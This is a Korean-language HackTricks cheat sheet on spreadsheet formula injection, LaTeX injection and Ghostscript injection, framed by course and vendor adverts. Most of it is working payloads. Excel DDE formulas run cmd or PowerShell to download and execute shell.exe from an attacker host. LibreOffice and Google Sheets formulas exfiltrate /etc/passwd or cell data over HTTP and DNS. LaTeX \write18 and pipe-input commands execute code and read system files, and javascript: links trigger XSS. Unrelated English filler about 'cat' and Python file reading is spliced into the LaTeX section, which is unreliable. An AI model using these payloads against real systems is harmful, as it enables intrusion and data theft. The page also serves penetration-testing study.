14 KiB
공식/CSV/문서/LaTeX/GhostScript 삽입
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.
가장 중요한 취약점을 찾아서 더 빠르게 수정하세요. Intruder는 공격 대상을 추적하고 적극적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 전체 기술 스택에서 문제를 찾습니다. 무료로 시도해보세요 오늘.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
공식 삽입
정보
입력이 CSV 파일 (또는 Excel에서 열릴 가능성이 있는 다른 파일)에 반영되고 있다면, Excel 시트 내에서 파일을 열 때 또는 사용자가 일부 링크를 클릭할 때 실행될 수 있는 Excel 공식을 넣을 수 있습니다.
{% hint style="danger" %} 현재 Excel은 사용자가 악의적인 작업을 방지하기 위해 Excel 외부에서 무언가를 로드할 때 사용자에게 경고를 표시합니다. 따라서 최종 페이로드에 대해 사회 공학적인 노력이 필요합니다. {% endhint %}
워드리스트
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
하이퍼링크
다음 예제는 최종 엑셀 시트에서 콘텐츠를 유출하고 임의의 위치로 요청을 수행하는 데 매우 유용하지만, 사용자가 링크를 클릭하고 경고 메시지를 수락해야합니다.
다음 예제는 https://payatu.com/csv-injection-basic-to-exploit에서 가져왔습니다.
학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되는 상황을 상상해보십시오. 공격자의 주요 의도는 학생 세부 정보를 관리하는 데 사용되는 시스템을 침해하는 것입니다. 이 방법은 공격자가 애플리케이션에 악성 페이로드를 주입함으로써 특히 학생 세부 정보를 위한 필드에 해로운 수식을 입력함으로써 공격이 진행됩니다. 공격은 다음과 같이 진행됩니다:
- 악성 페이로드 주입:
- 공격자는 학생 세부 정보 양식을 제출하지만 스프레드시트에서 일반적으로 사용되는 수식 (예:
=HYPERLINK("<malicious_link>","Click here")
)을 포함합니다. - 이 수식은 하이퍼링크를 생성하기 위해 설계되었지만, 공격자가 제어하는 악성 서버를 가리킵니다.
- 침해된 데이터 내보내기:
- 침해 사실을 모르는 교사들은 애플리케이션의 기능을 사용하여 데이터를 CSV 파일로 내보냅니다.
- CSV 파일은 여전히 악성 페이로드를 포함하고 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 표시됩니다.
- 공격 트리거:
- 교사는 학생의 세부 정보의 일부로 여기고 하이퍼링크를 클릭합니다.
- 클릭하면 민감한 데이터 (스프레드시트 또는 교사의 컴퓨터에서 가져온 세부 정보 포함)가 공격자의 서버로 전송됩니다.
- 데이터 기록:
- 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.
- 공격자는 이 데이터를 다양한 악의적 목적으로 사용하여 학생 및 기관의 개인 정보와 보안을 더욱 침해할 수 있습니다.
RCE
자세한 내용은 원본 게시물을 참조하십시오.
구체적인 구성 또는 오래된 버전의 Excel에서는 동적 데이터 교환(Dynamic Data Exchange, DDE)라는 기능을 악용하여 임의의 명령을 실행할 수 있습니다. 이를 활용하기 위해 다음 설정을 활성화해야 합니다:
- 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 동적 데이터 교환 서버 시작을 활성화합니다.
악성 페이로드가 포함된 스프레드시트가 열리면 (사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어 계산기 애플리케이션을 실행하기 위해 페이로드는 다음과 같을 것입니다:
`=cmd|' /C calc'!xxx`
추가적인 명령어도 실행할 수 있습니다. PowerShell을 사용하여 파일을 다운로드하고 실행하는 것도 가능합니다:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LibreOffice Calc에서의 로컬 파일 포함 (LFI)
LibreOffice Calc는 로컬 파일을 읽고 데이터를 유출하는 데 사용될 수 있습니다. 다음은 몇 가지 방법입니다:
- 로컬
/etc/passwd
파일에서 첫 번째 줄 읽기:='file:///etc/passwd'#$passwd.A1
- 읽은 데이터를 공격자가 제어하는 서버로 유출하기:
=WEBSERVICE(CONCATENATE("http://<공격자 IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- 여러 줄 유출하기:
=WEBSERVICE(CONCATENATE("http://<공격자 IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS 유출 (읽은 데이터를 공격자가 제어하는 DNS 서버로 DNS 쿼리로 보내기):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<공격자 도메인>"))
Out-of-Band (OOB) 데이터 유출을 위한 Google Sheets
Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다:
- CONCATENATE: 문자열을 연결합니다 -
=CONCATENATE(A2:E2)
- IMPORTXML: 구조화된 데이터 유형에서 데이터를 가져옵니다 -
=IMPORTXML(CONCAT("http://<공격자 IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: RSS 또는 ATOM 피드를 가져옵니다 -
=IMPORTFEED(CONCAT("http://<공격자 IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: HTML 테이블이나 목록에서 데이터를 가져옵니다 -
=IMPORTHTML (CONCAT("http://<공격자 IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: 다른 스프레드시트에서 셀 범위를 가져옵니다 -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: 이미지를 셀에 삽입합니다 -
=IMAGE("https://<공격자 IP:Port>/images/srpr/logo3w.png")
LaTeX 삽입
일반적으로 인터넷에서 찾을 수 있는 LaTeX 코드를 PDF로 변환하는 서버는 **pdflatex
**를 사용합니다.
이 프로그램은 명령 실행을 (비)허용하기 위해 3가지 주요 속성을 사용합니다:
--no-shell-escape
:\write18{command}
구문을 비활성화합니다. texmf.cnf 파일에서 활성화되어 있더라도.--shell-restricted
:--shell-escape
와 동일하지만 '안전한' 미리 정의된 명령어 집합으로 제한됩니다 (**Ubuntu 16.04에서 목록은/usr/share/texmf/web2c/texmf.cnf
에 있습니다).--shell-escape
:\write18{command}
구문을 활성화합니다. 명령은 셸 명령일 수 있습니다. 이 구문은 일반적으로 보안상의 이유로 허용되지 않습니다.
그러나 명령 실행을 피하기 위해 다른 방법도 있으므로 RCE를 피하기 위해 --shell-restricted
를 사용하는 것이 매우 중요합니다.
파일 읽기
[나 $와 같은 래퍼로 삽입을 조정해야 할 수도 있습니다.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
단일 줄 파일 읽기
To read a single-lined file, you can use the cat
command followed by the file name. This will display the contents of the file on the terminal.
cat filename
Replace filename
with the name of the file you want to read.
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
여러 줄로 구성된 파일 읽기
To read a file that contains multiple lines, you can use the following code:
with open('filename.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line.strip())
This code opens the file filename.txt
in read mode and uses the readlines()
method to read all the lines in the file. It then iterates over each line and prints it after removing any leading or trailing whitespace using the strip()
method.
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
파일 작성
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
명령 실행
명령어의 입력은 stdin으로 리디렉션됩니다. 이를 얻기 위해 임시 파일을 사용하세요.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
만약 LaTex 오류가 발생한다면, 나쁜 문자 없이 결과를 얻기 위해 base64를 사용해보세요.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
크로스 사이트 스크립팅
@EdOverflow로부터
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript 주입
https://blog.redteam-pentesting.de/2023/ghostscript-overview/을 확인하세요.
참고 자료
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
가장 중요한 취약점을 찾아서 빠르게 수정할 수 있습니다. Intruder는 공격 대상을 추적하고 예방적인 위협 스캔을 실행하여 API부터 웹 앱 및 클라우드 시스템까지 기술 스택 전체에서 문제를 찾습니다. 무료로 시도해보세요 오늘.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
htARTE (HackTricks AWS Red Team Expert)를 사용하여 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.